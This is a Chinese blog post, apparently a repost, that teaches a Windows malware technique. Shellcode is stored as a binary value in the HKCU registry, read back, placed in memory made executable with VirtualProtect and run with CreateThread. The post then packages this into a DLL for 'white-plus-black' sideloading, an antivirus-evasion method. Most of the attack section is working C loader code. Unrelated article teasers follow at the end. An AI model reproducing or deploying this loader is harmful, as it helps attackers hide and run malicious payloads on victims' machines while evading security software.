、写入Shellcode到注册表上线

其实本质就是将shellcode写入到注册表中,然后读取注册表中的shellcode,然后创建线程去执行shellcode。

如下图:
在这里插入图片描述

写入注册表shellcode

这里将shellcode写入到注册表中,在我们需要的时候再去读取然后执行。

这里用到如下两个Windows API函数。

RegOpenKeyExA
RegSetValueExA
RegOpenKeyExA
LSTATUS RegOpenKeyExA([in]           HKEY   hKey,[in, optional] LPCSTR lpSubKey,[in]           DWORD  ulOptions,[in]           REGSAM samDesired,[out]          PHKEY  phkResult
);

第一个参数需要的是打开注册表的句柄。

第二个参数表示要打开注册表子项的句柄。

第三个参数表示指定要在打开密钥时应用的选项。

最重要是的是第四个参数是对注册表的访问权限,因为我们要在注册表下创建一个String Value,所以这里的权限我们设置为KEY_SET_VALUE即可。

如下代码:

RegOpenKeyExA(HKEY_CURRENT_USER,REGISTRY,0,KEY_SET_VALUE,&keys);

接下来就是设置注册表的值了。

这里使用的是RegSetValueExA函数 如下:

LSTATUS RegSetValueExA([in]           HKEY       hKey,[in, optional] LPCSTR     lpValueName,DWORD      Reserved,[in]           DWORD      dwType,[in]           const BYTE *lpData,[in]           DWORD      cbData
);

第一个参数就是注册表的句柄,而且它的权限必须是KEY_SET_VALUE,也就是我们上面设置的。

第二个参数是我们要设置值的名称,就是注册表里面值得名称,第三个参数是保留参数必须为0,第四个参数是注册表里面值得类型,这里指定为REG_BINARY,表示任意的二进制数据,这里可以参考微软官网: Registry value types - Win32 apps | Microsoft Learn

第五个参数表示你要存储的数据,也就是你的shellcode,最后一个参数是你shellcode的大小。

如下代码实现:

#define REGISTRY "Control Panel" //这里是写入注册表的目录 也就是 计算机\HKEY_CURRENT_USER\Control Panel
#define REGSTRING "relaysec" //定义你注册表写入值得名字
BOOL WirteShellcodeRegister(PBYTE shellcode,DWORD shellcodeSize) {BOOL        bs = TRUE;LSTATUS     sts = NULL;HKEY        keys = NULL;sts = RegOpenKeyExA(HKEY_CURRENT_USER,REGISTRY,0, KEY_SET_VALUE, &keys);if(sts == NULL){bs = FALSE;}sts = RegSetValueExA(keys, REGSTRING, 0, REG_BINARY, shellcode, shellcodeSize);if(sts == NULL){bs = FALSE;}
_EndOfFunction:if (keys)RegCloseKey(keys);return bs;
}

成功写入:
在这里插入图片描述
写入之后我们接下来要进行读取注册表中的shellcode。

读取注册表shellcode

这里需要用到如下的Windows API函数:

RegGetValueA
HeapAlloc
RegGetValueA
LSTATUS RegGetValueA([in]                HKEY    hkey,[in, optional]      LPCSTR  lpSubKey,[in, optional]      LPCSTR  lpValue,[in, optional]      DWORD   dwFlags,[out, optional]     LPDWORD pdwType,[out, optional]     PVOID   pvData,[in, out, optional] LPDWORD pcbData
);

第一个参数依旧是注册表项的句柄,而且必须是KEY_QUERY_VALUE权限的。

第二个参数填写注册表的路径,它将从子项中检索注册表的值。

第三个参数表示注册表的名称。

第四个参数用于限制数据类型,如果值的数据类型不符合此条件,则函数将失败,这里我们设置RRF_RT_ANY即可,没有类型限制。

第五个参数是存储在指定值中的数据类型的代码,一般设置为NULL。

第六个参数表示接收存储在指定值的指针,如果不需要值得话也可以设置为NULL。

最后一个参数接收值数据的缓冲区的指针,这里我们设置接收一下即可。

如下完整代码:

BOOL ReadShellcodeRegister(PBYTE* shellcode, SIZE_T* shellcodeSize) {LSTATUS    sts = NULL;DWORD		dread = NULL;PVOID		ps = NULL;sts = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, NULL, &dread);if (sts !=0L) {return FALSE;}ps = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dread);if (ps == NULL) {return FALSE;}sts = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, ps, &dread);if (sts != 0L) {return FALSE;}*shellcode = (PBYTE)ps;*shellcodeSize = dread;return TRUE;
}

这里为什么要读取两次,因为第一次读取的是注册表项,第二次才是值。
在这里插入图片描述
读取到值之后然后赋值给shellcode。

读取完成之后就是执行了,这里我们使用创建线程的方式去执行。

首先申请一块内存:

BOOL executeShellcode(PVOID shellcode, SIZE_T shellcodeSize){DWORD dwOldProtection = NULL;PVOID shellcodeAddress = shellcodeAddress = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, 	  PAGE_READWRITE);
}

在这里插入图片描述
申请内存之后将shellcode复制进去。

BOOL executeShellcode(PVOID shellcode, SIZE_T shellcodeSize){DWORD dwOldProtection = NULL;PVOID shellcodeAddress = shellcodeAddress = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, 	  PAGE_READWRITE);if (shellcodeAddress == NULL) {return FALSE;}memcpy(shellcodeAddress, shellcode, shellcodeSize);memset(shellcode, '\0', shellcodeSize);
}

在这里插入图片描述
copy进去之后将权限更改为PAGE_EXECUTE_READWRITE,然后创建线程执行。

BOOL executeShellcode(PVOID shellcode, SIZE_T shellcodeSize){DWORD dpOld = NULL;PVOID shellcodeAddress = shellcodeAddress = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, 	  PAGE_READWRITE);if (shellcodeAddress == NULL) {return FALSE;}memcpy(shellcodeAddress, shellcode, shellcodeSize);memset(shellcode, '\0', shellcodeSize);if (!VirtualProtect(shellcodeAddress, shellcodeSize, PAGE_EXECUTE_READWRITE, &dpOld)) {return FALSE;}getchar();if (CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcodeAddress, NULL, NULL, NULL) == NULL) {return FALSE;}return TRUE;
}

在这里插入图片描述

集成到白加黑中

我们直接将前面所写的写入,读取,执行这三部的代码copy到dll中,然后放到导出函数去执行即可。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
白程序前面文章回复消息可以拿。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/240288.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

福FLUKE禄克8808A数字多用表

福禄克8808A,用于制造、研发、维修等应用的多功能数字表,FLUKE 8808A 5.5位数字多用表可以完成当今众多常用的测量工作。无论是功能测 展开 福禄克8808A,用于制造、研发、维修等应用的多功能数字表,FLUKE 8808A 5.5位数字多用表可…

【音视频】remb twcc原理

目录 twcc简介 WebRTC REMB 参考文档 twcc简介 TWCC全称是Transport wide Congestion Control,是webrtc的最新的拥塞控制算法。其原理是在接收端保存数据包状态,然后构造RTCP包反馈给发送端,反馈信息包括包到达时间、丢包状态等&#xff…

室内导航技术在智慧医疗的革新应用

随着科技的飞速发展,智慧医疗已经成为现代医疗服务的重要组成部分。在这个背景下,室内导航技术逐渐崭露头角,为智慧医疗建设带来了革命性的改变。本文将深入探讨室内导航技术在智慧医疗中的应用,并分析其为医疗服务带来的诸多便利…

vue:ref的作用和实例

定义:用来获取元素或子组件注册或者引用信息,父组件通过$ref获取到相应的DOM对象和子组件 1、vue中ref的作用 获取页面的DOM元素获取子组件的对象(也是一种通信方式) 2、实例 1、获取DOM,首先创建一个父页面index然…

如何自定义右键弹框并实现位置自适应?

一、问题 右键显示弹框,但是靠近浏览器边缘的部分会被隐藏,需要实现弹框位置自适应 二、 问题分析 如果想要最终弹框的宽高不超过屏幕视口,就等于屏幕视口的总宽/高减去弹框打开时的起点坐标,剩下的部分大于等于弹框的宽/高&…

商家如何进行商业模式开发,助力产品更好的销售模式?

商家如何进行商业模式开发,助力产品更好的销售模式? 随着各类电商平台的疯狂崛起,越来越多的商家对其中带来的高额回报率产生心动,毕竟对于线上的场景来说,即省去了房租、水电、仓储以及其他各种费用,用电商…

vue3 + TypeScript使用国际化

vue3 TypeScript使用国际化 本文使用了 Vite 构建工具创建的vue3项目Vite 支持使用特殊的 import.meta.glob 函数从文件系统导入多个模块Vite 官方中文文档当然如果你的vue3项目未使用vite,你也可以为你的旧项目提提速,安装vite ,安装方法在上一个博客…

【华为数据之道学习笔记】6-5数据地图的核心价值

数据供应者与消费者之间往往存在一种矛盾:供应者做了大量的数据治理工作、提供了大量的数据,但数据消费者却仍然不满意,他们始终认为在使用数据之前存在两个重大困难。 1)找数难 企业的数据分散存储在上千个数据库、上百万张物理表…

汽车行业一些知识

一、汽车术语集合 1、 轴距(mm):汽车前轴中心至后轴中心的距离。 2、转弯半径(mm):汽车转向时,汽车外侧转向轮的中心平面在车辆支撑平面上的轨迹圆半径。转向盘转到极限位置时的转弯半径为最小转弯半径。 3、最大总质量(kg):汽…

动态数组的实现

定义 1. 在计算机科学中,数组是由一组元素(值或变量)组成的数据结构,每个元素有至少一个索引或键来标识。 2. 因为数组内的元素是连续存储的,所以数组中元素的地址,可以通过其索引计算出来。 3. 知道了数…

计算机网络-网络层

计算机网络-网络层 以下笔记整理为哔哩哔哩湖科大教书匠的《计算机网络微课堂》的教学视频。 链接:计算机网络微课堂 1. 网络层概述 1.1 网络层的主要任务是实现网络互联,进而实现数据包在各网络之间的传输。 1.2 要实现网络层任务,需要解决…

【飞凌 OK113i-C 全志T113-i开发板】一些有用的常用的命令测试

一些有用的常用的命令测试 一、系统信息查询 可以查询板子的内核信息、CPU处理器信息、环境变量等 二、CPU频率 从上面的系统信息查询到,这是一颗具有两个ARMv7结构A7内核的处理器,主频最高1.2GHz 可以通过命令查看当前支持的频率以及目前所使用主频 …

Spring IoCDI

文章目录 前言什么是Spring1. 什么是 IoC 容器1.1 什么是容器1.2 什么是 IoC 2. 什么是DI IoC & DI 的使用IoC详解Bean的存储Controller注解如何获取Bean1. 根据Bean的名称获取Bean2. 根据Bean类型获取Bean3. 根据Bean名和Bean类型获取Bean Service注解Repository注解Compo…

使用Docker一键部署Uptime Kuma,并将监控服务映射至公网访问

文章目录 **主要功能**一、前期准备本教程环境为:Centos7,可以跑Docker的系统都可以使用本教程安装。本教程使用Docker部署服务,如何安装Docker详见: 二、Docker部署Uptime Kuma三、实现公网查看网站监控四、使用固定公网地址访问…

go语言初体验1--使用go install

当安装后go语言后。 尝试编写go程序。 当使用 go install 命令,报错。 go: go install requires a version when current directory is not in a moduleTry go install jvmgo\ch01latest to install the latest version通过查找资料。 用命令: go env …

混合精度训练(MAP)

一、介绍 使用精度低于32位浮点数的数字格式有很多好处。首先,它们需要更少的内存,可以训练和部署更大的神经网络。其次,它们需要更少的内存带宽,这加快了数据传输操作。第三,数学运算在降低精度的情况下运行得更快&a…

YOLOv5算法改进(23)— 更换主干网络GhostNet + 添加CA注意力机制 + 引入GhostConv

前言:Hello大家好,我是小哥谈。本节课就让我们结合论文来对YOLOv5进行组合改进(更换主干网络GhostNet + 添加CA注意力机制 + 引入GhostConv),希望同学们学完本节课可以有所启迪,并且后期可以自行进行YOLOv5算法的改进!🌈 前期回顾: YOLOv5算法改进(1)— 如何去…

C++类与对象(中)第一篇

目录 前言: 类的六个默认成员函数 构造函数 析构函数 拷贝构造函数 拷贝场景一:函数参数类型为类类型对象 拷贝场景二:利用已存在的对象创建新对象 拷贝场景三:函数返回值类型为类类型对象 前言: 编译器编译类…

推箱子地图库1-49关

推箱子地图库1-49关 49关 local WALL1--{"墙","墙 "}4 10287 local DEST2--{"目的地",""}1 4001100 10157 local BOX3--{"箱子","¥"} 2 2000801 local PLAYER4--{"玩家","&&a…

influxdb-cluster集群部署

一.部署环境 * InfluxDB集群节点数:mate服务至少3个节点,节点数越多,集群性能越高。 * 操作系统:支持的操作系统包括Linux、Windows和MacOS。 * CPU:至少2核4线程,主频越高越好。 * 内存:至少8…